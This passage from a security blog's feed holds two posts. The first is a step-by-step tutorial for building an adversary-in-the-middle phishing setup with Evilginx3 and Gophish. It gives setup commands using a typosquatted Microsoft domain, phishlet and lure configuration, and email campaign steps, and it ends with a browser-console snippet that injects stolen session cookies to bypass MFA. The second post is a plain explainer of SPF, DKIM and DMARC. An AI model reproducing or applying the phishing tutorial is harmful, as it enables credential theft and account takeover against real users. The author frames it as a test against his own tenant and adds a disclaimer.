    <div id="awesome-so-how-does-it-work-together" class="anchor"></div>
    
</h2>
<p>There are plenty of resources for Gophish and Evilginx3 on Youtube and Google, but if you want to combine these 2 solutions, there’s one great guy called <a href="https://github.com/fin3ss3g0d"  target="_blank" rel="noreferrer">fin3ss3g0d</a> on Github, that did it already for you (called <strong>Evilgophish</strong>). He took his repo private since october, but I’m sure if you buy him a monthly sponsoring, he’ll offer your everything needed.</p>
<p>Infrastructure layout here (credit: fin3ss3g0d):</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Evilgophish infrastructure diagram with Apache2 proxy, evilginx2 proxy, redirect server and Gophish database"
    width="2000"
    height="1461"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/diagram_hu_8df9bee99ecf7780.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/diagram.webp"></figure><p>First of all, you need a domain (read this blog about domains <a href="https://outpost24.com/blog/phishing-better-proxy-than-story/#get-a-domain"  target="_blank" rel="noreferrer">here</a>) and a VPS-server (might recommend something like DigitalOcean). I always take a the lastest Ubuntu version, as it’s compatible with the latest software. Setup the correct DNS server(s) in your VPS (otherwise this gives you a headache later on).</p>
<p>Git clone this repo on your VPS <a href="https://github.com/fin3ss3g0d/evilgophish"  target="_blank" rel="noreferrer">https://github.com/fin3ss3g0d/evilgophish</a> (still working tho – but he’s maintaining his repo/updates only for sponsors):</p>
<p>As soon as you have it cloned, go into the directory and start it by running: <a href="https://github.com/fin3ss3g0d/evilgophish/blob/main/setup.sh"  target="_blank" rel="noreferrer">setup.sh</a> (use your own domain, subdomains and redirect url like you can see down here)</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./setup.sh mircrosoftonline.nl <span class="s2">&#34;account accounts login logins&#34;</span> <span class="nb">false</span> https://portal.office.com <span class="nb">true</span> user_id false</span></span></code></pre></div></div>
<p>After running this command, you probably get a message that you needed to create a DNS entry for the Certbot, as that is being used to create certificates from LetsEncrypt. After creating the DNS entries, you must change the Apache conf file with the appropriate file paths with the Cert files (fullchain and key).</p>
<p>Run Apache (if still erroring check <strong>journalctl -xe</strong>):</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo systemctl start apache2</span></span></code></pre></div></div>
<p>When this is completed, the only thing you need to do is running the apps. I can recommend doing this by nohup or tmux, as you want to keep everything running after disconnecting your SSH-session(s):</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./gophish <span class="o">(</span>from the gophish folder<span class="o">)</span>
</span></span><span class="line"><span class="cl">./evilfeed <span class="o">(</span>from the evilfeed folder<span class="o">)</span>
</span></span><span class="line"><span class="cl">./evilginx3 -g ~/evilgophish/gophish/gophish.db -p ~/evilgophish/evilginx3/legacy_phishlets <span class="o">(</span>from the evilginx folder<span class="o">)</span></span></span></code></pre></div></div>
<p><strong>Configuring Evilginx3</strong></p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">config domain &lt;yourdomain&gt;
</span></span><span class="line"><span class="cl">config ip &lt;yourIP&gt;
</span></span><span class="line"><span class="cl">blacklist unauth</span></span></code></pre></div></div>
<p>Before creating and enabling the phishlets and lures, make sure to have the correct DNS pointers in place, otherwise you’ll end up with 400 errors on the Certbot (and 429 errors when you try too many times and you’ll need to wait an hour because of the rate limiter ;-):</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">phishlets hostname o365 &lt;yourdomain&gt; (be aware of the correct name of your phishlet)
</span></span><span class="line"><span class="cl">phishlets enable o3653</span></span></code></pre></div></div>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">lures create o3653
</span></span><span class="line"><span class="cl">lures edit 0 redirect_url https://portal.office.com
</span></span><span class="line"><span class="cl">lures get-url 0</span></span></code></pre></div></div>
<p>Now, you’re fully setup and you received a lure, which you can use in Gophish (in my example it’s <a href="https://login.mircrosoftonline.nl/YDBFinIs"  target="_blank" rel="noreferrer">https://login.mircrosoftonline.nl/YDBFinIs</a>)</p>
<p>Login for the first time in Gophish (by x.x.x.x:3333) and generate your own password (the temporary password was given you when you first started the Gophish app). If you can’t connect to the Gophish environment make sure to check the Gophish conf file and enter the correct IP of your VPS and restart the service):</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Evilgophish login page"
    width="2000"
    height="1078"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding_hu_f0b68a032d83049a.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding.webp"></figure><p>Setup the groups (contacts), sending profiles (can recommend Mailgun with DKIM, SPF etc.) and paste your first email template your want to use (I used a random Azure email I’ve received today in my example):</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Editing a Microsoft Azure email template in Evilgophish"
    width="2000"
    height="1074"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-1_hu_911078a99283917.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-1.webp"></figure><p>Start your first campaign and enter the Evilginx lure URL you’ve received by configuring Evilginx3, select the contacts/groups, sending profile and you’re good to go:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="New email campaign in Evilgophish with the Evilginx lure URL, Mailgun sending profile and target group"
    width="2000"
    height="1073"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-2_hu_4d9eca7b5a92c1f3.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-2.webp"></figure><p>After clicking the “Profit” the email is being send out to your contact(s) and you can immediately start monitoring your campaign:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Evilgophish dashboard showing one email sent, opened and clicked"
    width="2000"
    height="1079"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-13_hu_1c03419e2c41c1da.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-13.webp"></figure><p>From a receiving perspective, I’ve now got the email in my inbox. As you can see a legitimate email which contains a button with the lure URL behind, which I configured in Gophish:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Phishing email posing as Microsoft Azure Spot Virtual Machines in Outlook"
    width="1557"
    height="1148"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-3_hu_3b5af4dde5802df4.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-3.webp"></figure><p>The moment I click the URL, it pops out a browser session to the Evilginx3 lure/phishlet I created and shows a login screen, where I can enter my details:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Phished Microsoft sign-in page asking for the email address"
    width="2000"
    height="1133"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-4_hu_f5b47aa976565f58.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-4.webp"></figure><p>Enter password:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Phished Microsoft sign-in page asking for the password"
    width="2000"
    height="1133"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-5_hu_9ab842d65613c240.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-5.webp"></figure><p>Accept MFA:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Microsoft Authenticator number matching prompt during the phished sign-in"
    width="2000"
    height="1133"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-6_hu_98deea3217ed7194.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-6.webp"></figure><p>And I’m logged in to my tenant:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Microsoft 365 start page after signing in through the Evilginx proxy"
    width="2000"
    height="1133"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-7_hu_736cba94beedd9c1.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-7.webp"></figure><p>From Gophish I can see a full timeline, with the timestamps I clicked, submitted data etc.:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Evilgophish timeline showing the email opened, link clicked and data submitted"
    width="2000"
    height="1070"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-8_hu_d880afb1e9fdaea9.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-8.webp"></figure><p>Evilginx3 shows me the lures being used and the credentials and WOW wtfbbqlulz the tokens:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Evilginx3 console with phishlets, the lure URL and intercepted cookie tokens"
    width="1362"
    height="982"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-9_hu_30c4af14153731bd.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-9.webp"></figure><p>Nice, cookie tokens intercepted… So when I check the sessions (in my case session ID 6) it shows the token:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Evilginx3 session details with captured username, password and session cookies"
    width="1352"
    height="488"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-10_hu_803db36717efa7f7.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-10.webp"></figure><p>Now re-use that token, to login to my tenant without prompting a MFA, nor credentials. Do this by opening a new browser (use developer tools) and enter the following code an hit enter (paste the cookie output between the (‘<strong><code>[insert...here]</code></strong>‘):</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">var obj = JSON.parse(&#39;[insert session cookie content here]&#39;);
</span></span><span class="line"><span class="cl">for (let i = 0; i &lt; 3; i++) { document.cookie= obj[i].name+&#34;=&#34;+obj[i].value+&#34;; expires=Wed, 05 Aug 2040 23:00:00 UTC; path=/&#34;; }</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Browser developer console injecting the captured session cookies on the Microsoft sign-in page"
    width="2000"
    height="1270"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-11_hu_6d8d6aa82932d00e.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-11.webp"></figure><p>Refresh the page:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Microsoft 365 apps page opened with the stolen session cookies"
    width="2000"
    height="1270"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-12_hu_98abf3f1a6b21df6.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/afbeelding-12.webp"></figure><p>And you’re all set. Easy isn’t it? In another post I’ll dive in the techniques you can use to weaponize yourself against these AiTM-attacks (on Microsoft 365).</p>
<p>If you need to have some more information regarding Evilginx3 and/or Gophish check these resources:</p>
<p><a href="https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation"  target="_blank" rel="noreferrer">https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation</a><br>
<a href="https://github.com/waelmas/frameless-bitb"  target="_blank" rel="noreferrer">https://github.com/waelmas/frameless-bitb</a><br>
<a href="https://simplerhacking.medium.com/tutorial-phishlet-creation-for-evilginx3-modern-mfa-mitm-ransomware-phishing-engagements-276790d8c0e9"  target="_blank" rel="noreferrer">https://simplerhacking.medium.com/tutorial-phishlet-creation-for-evilginx3-modern-mfa-mitm-ransomware-phishing-engagements-276790d8c0e9</a><br>
<a href="https://github.com/simplerhacking/Evilginx3-Phishlets"  target="_blank" rel="noreferrer">https://github.com/simplerhacking/Evilginx3-Phishlets</a><br>
<a href="https://outpost24.com/blog/phishing-better-proxy-than-story/"  target="_blank" rel="noreferrer">https://outpost24.com/blog/phishing-better-proxy-than-story/</a><br>
<a href="https://getgophish.com/documentation/"  target="_blank" rel="noreferrer">https://getgophish.com/documentation/</a></p>
<p><strong><mark>Disclaimer: I’m not responsible for any damage or harm caused by using these products or information. Use it wisely. Also don’t bother checking the links used in my examples, domain has been reporting as phishing/abuse and was taken down within a few hours.</mark></strong></p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/featured_hu_9a776c7c8150a126.jpg" medium="image" type="image/jpeg" width="1129" height="692"/><enclosure url="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/featured_hu_9a776c7c8150a126.jpg" type="image/jpeg" length="96183"/></item><item><title>SPF, DKIM and DMARC</title><link>https://www.modernsecurity.nl/spf-dkim-and-dmarc/</link><guid isPermaLink="true">https://www.modernsecurity.nl/spf-dkim-and-dmarc/</guid><pubDate>Wed, 17 Jan 2024 12:39:33 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Microsoft Defender for Office 365</category><description>What SPF, DKIM and DMARC are, why Google and Microsoft now push them, and how they protect your domain against spoofing and phishing.</description><content:encoded><![CDATA[<p>As of Feb. 1, 2024, Google has announced that they are going to make some changes to their security guidelines in Gmail regarding email senders. How exactly they are going to implement this is not 100% clear yet because this policy only applies to companies that send more than 5,000 emails per day to Gmail.</p>
<p>But is this all of a sudden? And how does this affect other senders and recipients? Well, to be honest, this should have been in place already in your own environment for ages. With SPF, DKIM, and DMARC in place, you have standard hygiene established.</p>
<p>Regardless of the great options Microsoft and Defender for Office 365 offers, you can’t go around this standard hygiene. Microsoft also changed their advisory this month, to configure DMARC more strict and on all the domains you own. Yay \o/</p>

<h2 class="relative group">But what does SPF, DKIM and DMARC mean and why do you need it?
    <div id="but-what-does-spf-dkim-and-dmarc-mean-and-why-do-you-need-it" class="anchor"></div>
    
</h2>
<p>In an era where digital communication is integral to our personal and professional lives, ensuring the authenticity of emails is paramount. Email, being a ubiquitous form of communication, is susceptible to various forms of abuse, including phishing, spoofing, and unauthorized tampering. To counter these threats, three essential email authentication protocols – SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting, and Conformance) – have emerged as indispensable tools for bolstering email security.</p>
<p><strong>Sender Policy Framework (SPF):</strong> SPF addresses the challenge of email spoofing by allowing domain owners to specify which mail servers are authorized to send emails on behalf of their domain. By publishing SPF records in DNS, organizations ensure that receiving mail servers can verify the legitimacy of the sending server, mitigating the risk of fraudulent emails bearing their domain.</p>
<p><strong>DomainKeys Identified Mail (DKIM):</strong> DKIM adds a layer of integrity verification to emails by attaching a digital signature to the message. This signature, generated by the sending mail server’s private key, is verified by the recipient’s server using a public key published in DNS. DKIM ensures that the email has not been tampered with during transit and verifies the sender’s authenticity.</p>
<p><strong>Domain-based Message Authentication, Reporting, and Conformance (DMARC):</strong> DMARC builds upon SPF and DKIM, providing a comprehensive policy framework for email authentication. With DMARC, domain owners can specify how unauthenticated emails should be handled, whether to monitor, quarantine, or reject them. DMARC also facilitates the receipt of detailed reports, enabling organizations to analyze and fine-tune their email authentication practices.</p>
<p><strong>Why it’s needed:</strong> The need for robust email authentication mechanisms is evident in the face of escalating cyber threats. Without SPF, DKIM, and DMARC, malicious actors can exploit vulnerabilities, impersonate legitimate entities, and compromise the integrity of email communication. Implementing these protocols collectively establishes a multi-layered defense against phishing attacks, safeguards against unauthorized email transmission, and fosters a more trustworthy email ecosystem.As organizations embrace these email authentication standards, they not only protect their own reputation but also contribute to the overall improvement of global email security. In an interconnected digital landscape, SPF, DKIM, and DMARC stand as essential guardians, working together to fortify the foundations of secure and authentic email communication.</p>

<h2 class="relative group">So…. but how does it work? And what do I need to setup?
    <div id="so-but-how-does-it-work-and-what-do-i-need-to-setup" class="anchor"></div>
    
</h2>
<p><strong>SPF (Sender Policy Framework):</strong></p>
<ul>
<li><strong>Purpose:</strong> SPF is an email authentication protocol that helps prevent email spoofing and phishing by verifying that the sender’s email server is authorized to send emails on behalf of a specific domain.</li>
<li><strong>How it Works:</strong>
<ul>
<li>When an email is sent, the receiving mail server checks the SPF record of the sender’s domain.</li>
<li>The SPF record is a DNS (Domain Name System) record that specifies which mail servers are authorized to send emails on behalf of the domain.</li>
<li>If the sending mail server is listed in the SPF record, the email is considered authentic; otherwise, it may be marked as suspicious or rejected.</li>
</ul>
</li>
<li><strong>Implementation:</strong>
<ul>
<li>Domain owners publish SPF records in their DNS settings.</li>
<li>SPF records include information about the authorized mail servers and their IP addresses.</li>
</ul>
</li>
<li><strong>Example SPF Record:</strong></li>
</ul>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">v=spf1 mx ip4:192.168.1.1 include:_spf.example.com -all</span></span></code></pre></div></div>
<p><mark>This record allows the domain’s MX servers, the specific IP address 192.168.1.1, and the servers listed in the _spf.example.com domain to send emails on behalf of the domain. For M365 the default SPF will be &gt; include:spf.protection.outlook.com. </mark><mark></mark></p>
<p><strong>DKIM (DomainKeys Identified Mail):</strong></p>
<ul>
<li><strong>Purpose:</strong> DKIM is an email authentication method that adds a digital signature to the email message, allowing the recipient to verify that the email has not been tampered with during transit and that it was actually sent by the claimed sender.</li>
<li><strong>How it Works:</strong>
<ul>
<li>The sending mail server generates a unique signature for each outgoing email using a private key.</li>
<li>This signature is added to the email header as a DKIM-Signature field.</li>
<li>The recipient’s mail server can then use the public key (published in the DNS) to verify the authenticity of the signature.</li>
</ul>
</li>
<li><strong>Implementation:</strong>
<ul>
<li>Domain owners generate key pairs (public and private) for DKIM (as for M365 you can find your DKIM keys here: <a href="https://security.microsoft.com/authentication"  target="_blank" rel="noreferrer">https://security.microsoft.com/authentication</a> &gt; make sure to fix your SPF, DKIM and DMARC for every domain you own)</li>
<li>The public key is added to the DNS as a TXT record.</li>
</ul>
</li>
<li><strong>Example DKIM-Signature Field:</strong></li>
</ul>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">YAML</div><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">DKIM-Signature</span><span class="p">:</span><span class="w"> </span><span class="l">v=1; a=rsa-sha256; d=example.com; s=selector; c=relaxed/simple; q=dns/txt; i=@example.com; t=1234567890; h=From:To:Subject:Date; bh=dahf1aJS6wLfW1zrV9j9q1ZZlaM=; b=d2k1TWAx1fvmB7Lc8d5vdoE2Yp0/uHb5p/hS9KVoTZv+uEv/YUkth8UgM R2Y2jhmtIkNvZ2i2Lxi0I3mLpHnSv9F2kK2+8SkH3FZwb/DcPCxhV+d3lE==</span></span></span></code></pre></div></div>
<p><mark>This is a simplified example of a DKIM-Signature field, and it includes information about the cryptographic algorithm, the domain, the selector, and the signature itself.</mark></p>
<p><strong>DMARC (Domain-based Message Authentication, Reporting, and Conformance):</strong></p>
<ul>
<li><strong>Purpose:</strong> DMARC builds on SPF and DKIM to provide a policy framework for email authentication. It helps domain owners specify what actions to take on unauthenticated emails and allows them to receive reports on email authentication activity.</li>
<li><strong>How it Works:</strong>
<ul>
<li>DMARC records are published in DNS and specify the policy for handling unauthenticated emails.</li>
<li>DMARC policy options include monitoring (reporting only), quarantine (put in spam/junk folder), and reject (do not deliver).</li>
<li>DMARC relies on the alignment of SPF and DKIM with the “From” address in the email header.</li>
</ul>
</li>
<li><strong>Implementation:</strong>
<ul>
<li>Domain owners publish DMARC records in their DNS settings</li>
</ul>
</li>
<li><strong>Example DMARC Record:</strong></li>
</ul>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com; ruf=mailto:dmarc@example.com</span></span></code></pre></div></div>
<p><mark>This DMARC record specifies a policy of quarantine for unauthenticated emails and instructs the recipient’s mail server to send aggregate reports (rua) and forensic reports (ruf) to the specified email address. Please check Valimail if you’re in the need of a good DMARC reporting tool (<a href="https://www.valimail.com"  target="_blank" rel="noreferrer">https://www.valimail.com</a>) </mark></p>
<p><strong>Overall Workflow:</strong></p>
<ol>
<li>SPF verifies the sender’s server.</li>
<li>DKIM verifies the integrity of the email’s content.</li>
<li>DMARC evaluates the alignment of SPF and DKIM, and based on the specified policy, takes action on unauthenticated emails.</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Picture credit: Microsoft.com"
    width="1280"
    height="720"
    src="https://www.modernsecurity.nl/spf-dkim-and-dmarc/tp-dmarctroublehoot_hu_c5ffbad84d0acde5.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/spf-dkim-and-dmarc/tp-dmarctroublehoot.webp"></figure><p>By implementing SPF, DKIM, and DMARC together, organizations can significantly enhance email security, reduce the risk of phishing attacks, and provide a more trustworthy email environment. Regular monitoring and analysis of DMARC reports can also help organizations fine-tune their email authentication settings and identify potential issues.</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/spf-dkim-and-dmarc/featured_hu_1c0a93ed84eea385.jpg" medium="image" type="image/jpeg" width="640" height="320"/><enclosure url="https://www.modernsecurity.nl/spf-dkim-and-dmarc/featured_hu_1c0a93ed84eea385.jpg" type="image/jpeg" length="29453"/></item></channel></rss>